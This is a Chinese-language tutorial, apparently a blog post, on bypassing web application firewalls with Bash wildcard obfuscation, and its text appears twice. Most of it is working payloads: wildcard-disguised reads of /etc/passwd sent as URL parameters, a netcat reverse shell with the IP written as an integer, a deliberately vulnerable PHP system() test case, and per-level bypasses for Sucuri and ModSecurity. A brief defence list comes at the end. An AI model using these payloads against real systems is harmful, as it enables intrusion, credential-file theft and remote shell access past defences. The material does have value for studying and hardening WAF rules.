WAF绕过技巧浅谈
字数 1350 2025-08-18 11:37:02

WAF绕过技巧:利用Bash通配符绕过命令执行防护

1. 背景介绍

远程命令执行(RCE)漏洞是Web应用中最严重的风险之一,在OWASP Top 10中长期位居前列。现代WAF(Web应用防火墙)大多具备对RCE攻击的拦截能力,但在Linux系统中,通过巧妙利用Bash通配符,我们可以绕过许多WAF的规则集。

2. Bash通配符基础

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件:

  • ? 匹配任意单个字符
  • * 匹配任意数量的任意字符
  • [] 匹配指定范围内的字符

2.1 通配符替代命令示例

常规命令 通配符替代形式
/bin/ls /?in/ls/???/?s
/bin/cat /etc/passwd /???/??t /???/??ss??
nc -e /bin/bash 127.0.0.1 1337 /???/n? -e /???/b??h 2130706433 1337

3. 绕过WAF的具体技术

3.1 文件读取绕过

传统方式:

/?cmd=cat+/etc/passwd

绕过方式:

/?cmd=%2f???%2f??t%20%2f???%2fp??s??

3.2 反向Shell绕过

传统方式:

/bin/nc -e /bin/bash 127.0.0.1 1337

绕过技巧:

  1. 使用通配符替代路径
  2. 将IP地址转换为长整型格式(127.0.0.1 → 2130706433)

绕过方式:

/???/n? -e /???/b??h 2130706433 1337

3.3 为什么使用问号而非星号

  • 星号(*)常被用于注释语法(如/* 注释 */),许多WAF会阻止它以防止SQL注入等攻击
  • 问号(?)匹配更精确,不易被WAF规则识别为恶意字符

4. 针对不同WAF的绕过实践

4.1 Sucuri WAF绕过

测试用例:

<?php 
echo 'ok: ';
print_r($_GET['c']); 
system($_GET['c']);

传统攻击被拦截:

/?c=/bin/cat /etc/passwd

成功绕过:

/?c=/???/??t /???/??ss??

4.2 OWASP ModSecurity核心规则集绕过

不同防护等级(PL)的分析:

PL0:

  • 许多规则被禁用
  • payload可直接执行

PL1 & PL2:

  • 阻止传统攻击方式(如/bin/cat /etc/passwd)
  • 但允许?/和空格字符
  • 通配符形式可绕过

PL3:

  • 会阻止包含过多?的请求
  • 解决方案:减少通配符数量
/?c=/?in/cat+/et?/passw?

PL4:

  • 最严格等级
  • 仅允许A-Z, a-z, 0-9及少数特殊字符
  • 极难绕过,因为命令执行通常需要空格或斜线

5. 其他实用技巧

5.1 枚举文件和目录

echo /*/*ss*

5.2 避免使用点字符

  • 将IP地址转换为长整型格式
  • 127.0.0.1 → 2130706433

5.3 不同命令的替代形式

/???/?c.e /???/b??h 2130706433 1337

6. 防御建议

  1. 使用最高防护等级(PL4)的ModSecurity规则
  2. 限制系统命令执行函数的使用
  3. 对用户输入进行严格的白名单验证
  4. 监控异常的命令执行模式
  5. 定期更新WAF规则集

7. 总结

通过Bash通配符技术,特别是问号(?)的使用,可以有效地绕过许多WAF对命令执行的防护。这种技术利用了WAF规则集中对特殊字符处理的不足,特别是在中低防护等级下效果显著。安全团队应当了解这些绕过技术,以便更好地加固Web应用防护。

8. 扩展阅读

  1. Web Application Firewall (WAF) Evasion Techniques #2
  2. ModSecurity v3 Github
  3. netnea关于Apache ModSecurity的文章
WAF绕过技巧:利用Bash通配符绕过命令执行防护 1. 背景介绍 远程命令执行(RCE)漏洞是Web应用中最严重的风险之一,在OWASP Top 10中长期位居前列。现代WAF(Web应用防火墙)大多具备对RCE攻击的拦截能力,但在Linux系统中,通过巧妙利用Bash通配符,我们可以绕过许多WAF的规则集。 2. Bash通配符基础 Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件: ? 匹配任意单个字符 * 匹配任意数量的任意字符 [] 匹配指定范围内的字符 2.1 通配符替代命令示例 常规命令 | 通配符替代形式 --- | --- /bin/ls | /?in/ls 或 /???/?s /bin/cat /etc/passwd | /???/??t /???/??ss?? nc -e /bin/bash 127.0.0.1 1337 | /???/n? -e /???/b??h 2130706433 1337 3. 绕过WAF的具体技术 3.1 文件读取绕过 传统方式: 绕过方式: 3.2 反向Shell绕过 传统方式: 绕过技巧: 使用通配符替代路径 将IP地址转换为长整型格式(127.0.0.1 → 2130706433) 绕过方式: 3.3 为什么使用问号而非星号 星号( * )常被用于注释语法(如 /* 注释 */ ),许多WAF会阻止它以防止SQL注入等攻击 问号( ? )匹配更精确,不易被WAF规则识别为恶意字符 4. 针对不同WAF的绕过实践 4.1 Sucuri WAF绕过 测试用例: 传统攻击被拦截: 成功绕过: 4.2 OWASP ModSecurity核心规则集绕过 不同防护等级(PL)的分析: PL0 : 许多规则被禁用 payload可直接执行 PL1 & PL2 : 阻止传统攻击方式(如 /bin/cat /etc/passwd ) 但允许 ? 、 / 和空格字符 通配符形式可绕过 PL3 : 会阻止包含过多 ? 的请求 解决方案:减少通配符数量 PL4 : 最严格等级 仅允许A-Z, a-z, 0-9及少数特殊字符 极难绕过,因为命令执行通常需要空格或斜线 5. 其他实用技巧 5.1 枚举文件和目录 5.2 避免使用点字符 将IP地址转换为长整型格式 127.0.0.1 → 2130706433 5.3 不同命令的替代形式 6. 防御建议 使用最高防护等级(PL4)的ModSecurity规则 限制系统命令执行函数的使用 对用户输入进行严格的白名单验证 监控异常的命令执行模式 定期更新WAF规则集 7. 总结 通过Bash通配符技术,特别是问号( ? )的使用,可以有效地绕过许多WAF对命令执行的防护。这种技术利用了WAF规则集中对特殊字符处理的不足,特别是在中低防护等级下效果显著。安全团队应当了解这些绕过技术,以便更好地加固Web应用防护。 8. 扩展阅读 Web Application Firewall (WAF) Evasion Techniques #2 ModSecurity v3 Github netnea关于Apache ModSecurity的文章